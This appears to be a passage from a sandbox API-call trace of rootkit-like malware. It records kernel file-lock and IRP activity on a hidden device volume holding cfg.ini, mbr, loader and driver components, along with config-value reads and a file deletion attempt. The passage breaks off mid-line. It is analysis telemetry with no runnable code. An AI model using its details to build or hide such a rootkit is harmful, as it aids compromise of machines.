0xfffffa80034fca60 [0123.906] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bee690, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.906] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.906] KeLeaveCriticalRegion () [0123.906] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.906] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.906] KeEnterCriticalRegion () [0123.906] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.906] ExFreePoolWithTag (P=0xfffffa8003bee5d0, Tag=0x0) [0123.906] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.906] KeLeaveCriticalRegion () [0123.906] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.906] ReleaseMutex (hMutex=0xf0) returned 1 [0123.906] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.906] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0123.906] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.906] KeEnterCriticalRegion () [0123.906] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.906] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.906] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.906] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.906] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.906] IdePortDispatch () returned 0x103 [0123.906] KeWaitForMutexObject () returned 0x0 [0123.907] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.907] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.907] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.907] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.907] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.907] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bed5a0 [0123.907] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.907] KeLeaveCriticalRegion () [0123.907] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.907] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.907] KeEnterCriticalRegion () [0123.907] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.907] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.907] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.907] KeLeaveCriticalRegion () [0123.907] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.907] KeEnterCriticalRegion () [0123.907] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.907] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.907] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.907] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.907] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.907] IdePortDispatch () returned 0x103 [0123.907] KeWaitForMutexObject () returned 0x0 [0123.907] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.907] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.907] KeLeaveCriticalRegion () [0123.907] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.908] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.908] KeEnterCriticalRegion () [0123.908] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.908] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034af000 [0123.908] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.908] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.908] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.908] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.908] IdePortDispatch () returned 0x103 [0123.908] KeWaitForMutexObject () returned 0x0 [0123.908] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.908] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.908] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.908] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.908] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.908] IdePortDispatch () returned 0x103 [0123.908] KeWaitForMutexObject () returned 0x0 [0123.908] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.908] KeLeaveCriticalRegion () [0123.908] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.909] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.909] KeEnterCriticalRegion () [0123.909] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.909] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.909] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.909] KeLeaveCriticalRegion () [0123.909] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.909] KeEnterCriticalRegion () [0123.909] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.909] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0123.909] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003beb3b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.909] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.909] KeLeaveCriticalRegion () [0123.909] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.909] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.909] KeEnterCriticalRegion () [0123.909] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.909] ExFreePoolWithTag (P=0xfffffa8003bed5a0, Tag=0x0) [0123.909] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.909] KeLeaveCriticalRegion () [0123.909] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.909] ReleaseMutex (hMutex=0xf0) returned 1 [0123.909] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0123.909] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0123.909] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0123.909] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0123.910] KeEnterCriticalRegion () [0123.910] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.910] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.910] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.910] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.910] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.910] IdePortDispatch () returned 0x103 [0123.910] KeWaitForMutexObject () returned 0x0 [0123.910] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.910] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0123.910] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.910] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.910] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.910] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.910] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.910] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.910] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.910] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0123.910] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.910] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.910] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.910] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.910] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.910] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.910] KeLeaveCriticalRegion () [0123.910] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.910] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0123.910] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0123.910] KeEnterCriticalRegion () [0123.910] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.910] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.910] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.910] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.910] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.910] IdePortDispatch () returned 0x103 [0123.911] KeWaitForMutexObject () returned 0x0 [0123.911] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.911] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0123.911] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.911] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.911] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.911] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.911] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.911] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.911] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.911] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0123.911] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.911] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.911] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.911] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.911] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.911] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.911] KeLeaveCriticalRegion () [0123.911] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.911] ReleaseMutex (hMutex=0x100) returned 1 [0123.911] Sleep (dwMilliseconds=0x2bf20) [0123.921] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6d0fc2d0, dwHighDateTime=0x1d24fa4)) [0123.921] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0123.921] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.921] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.921] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.921] KeEnterCriticalRegion () [0123.921] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.921] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.921] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.921] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.921] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.921] IdePortDispatch () returned 0x103 [0123.921] KeWaitForMutexObject () returned 0x0 [0123.921] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.921] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.921] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.921] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.921] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.921] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc6460 [0123.921] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.921] KeLeaveCriticalRegion () [0123.921] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.922] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.922] KeEnterCriticalRegion () [0123.922] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.922] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.922] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.922] KeLeaveCriticalRegion () [0123.922] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.922] KeEnterCriticalRegion () [0123.922] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.922] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.922] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.922] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.922] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.922] IdePortDispatch () returned 0x103 [0123.922] KeWaitForMutexObject () returned 0x0 [0123.922] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.922] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.922] KeLeaveCriticalRegion () [0123.922] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.922] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.922] KeEnterCriticalRegion () [0123.922] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.922] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034b2000 [0123.922] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.922] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.922] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.923] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.923] IdePortDispatch () returned 0x103 [0123.923] KeWaitForMutexObject () returned 0x0 [0123.923] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.923] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.923] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.923] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.923] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.923] IdePortDispatch () returned 0x103 [0123.923] KeWaitForMutexObject () returned 0x0 [0123.923] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.923] KeLeaveCriticalRegion () [0123.923] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.924] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.924] KeEnterCriticalRegion () [0123.924] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.924] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.924] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.924] KeLeaveCriticalRegion () [0123.924] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.924] KeEnterCriticalRegion () [0123.924] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.924] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0123.924] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bed200, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.924] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.924] KeLeaveCriticalRegion () [0123.924] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.924] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.924] KeEnterCriticalRegion () [0123.924] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.924] ExFreePoolWithTag (P=0xfffffa8003bc6460, Tag=0x0) [0123.924] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.924] KeLeaveCriticalRegion () [0123.924] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.924] ReleaseMutex (hMutex=0xf0) returned 1 [0123.924] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.924] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.925] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.925] KeEnterCriticalRegion () [0123.925] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.925] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.925] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.925] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.925] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.925] IdePortDispatch () returned 0x103 [0123.925] KeWaitForMutexObject () returned 0x0 [0123.925] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.925] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.925] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.925] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.925] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.925] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc6810 [0123.925] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.925] KeLeaveCriticalRegion () [0123.925] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.925] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.926] KeEnterCriticalRegion () [0123.926] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.926] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.926] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.926] KeLeaveCriticalRegion () [0123.926] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.926] KeEnterCriticalRegion () [0123.926] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.926] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.926] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.926] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.926] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.926] IdePortDispatch () returned 0x103 [0123.926] KeWaitForMutexObject () returned 0x0 [0123.926] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.926] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: 